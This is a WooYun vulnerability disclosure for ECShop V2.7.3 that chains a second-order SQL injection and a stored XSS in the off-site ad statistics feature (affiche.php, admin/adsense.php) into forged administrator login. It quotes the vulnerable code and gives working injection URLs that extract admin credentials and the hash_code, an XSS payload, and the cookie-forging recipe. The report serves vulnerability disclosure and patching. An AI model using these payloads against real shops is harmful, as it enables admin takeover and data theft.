当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-023188

漏洞标题:ecshop最新版本SQL注入+存储XSS=任意管理员登录

相关厂商:ShopEx

漏洞作者: blue

提交时间:2013-05-06 20:42

修复时间:2013-08-04 20:42

公开时间:2013-08-04 20:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-06: 细节已通知厂商并且等待厂商处理中
2013-05-06: 厂商已经确认,细节仅向厂商公开
2013-05-09: 细节向第三方安全合作伙伴开放
2013-06-30: 细节向核心白帽子及相关领域专家公开
2013-07-10: 细节向普通白帽子公开
2013-07-20: 细节向实习白帽子公开
2013-08-04: 细节向公众公开

简要描述:

一个功能点的SQL注入和存储XSS,内含多种技巧,我觉得我就是个艺术家~~

详细说明:

刚下的ecshop V2.7.3版本~
1.漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。

/affiche.php 119行
$sql = "INSERT INTO " . $ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1', '" . $site_name . "', '1')"; //$site_name即$_GET['from']存库了


/admin/adsense.php 47-49行
/* 获取当前广告所产生的订单总数 */
$sql2 = 'SELECT COUNT(order_id) FROM ' .$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' AND referer='$rows[referer]'"; //看到了吧,未再次addslashes导致注入
$rows['order_num'] = $db->getOne($sql2);


2.同时,输出时未对字段referer过滤,导致存储XSS。
3.存储XSS得到cookie本来就可以登录后台了,但我咋能这么简单?SQL注入两条得到ecs_shop_config里的hash_code和管理员的username+password,自己生成COOKIE岂不更爽?

/admin/privilege.php 136-141行
if (isset($_POST['remember']))
{
$time = gmtime() + 3600 * 24 * 365;
setcookie('ECSCP[admin_id]', $row['user_id'], $time);
setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);
}

漏洞证明:

http://localhost/test/ecshop/affiche.php?from=a.baidu.com'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1  //注入得管理员信息
http://localhost/test/ecshop/affiche.php?from=a.baidu.com'%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20'hash_code'%20order%20by%201%20desc%23&ad_id=-1 //注入得hash_code
http://localhost/test/ecshop/affiche.php?from=a.baidu.com%3Cscript%3Ealert(1)%3C/script%3E&ad_id=-1 //XSS,当然,我使用了xsser.me获取页面上的信息


1.png


2.png


3.png


4.png

修复方案:

addslashes, 输出时过滤

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-05-06 21:37

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无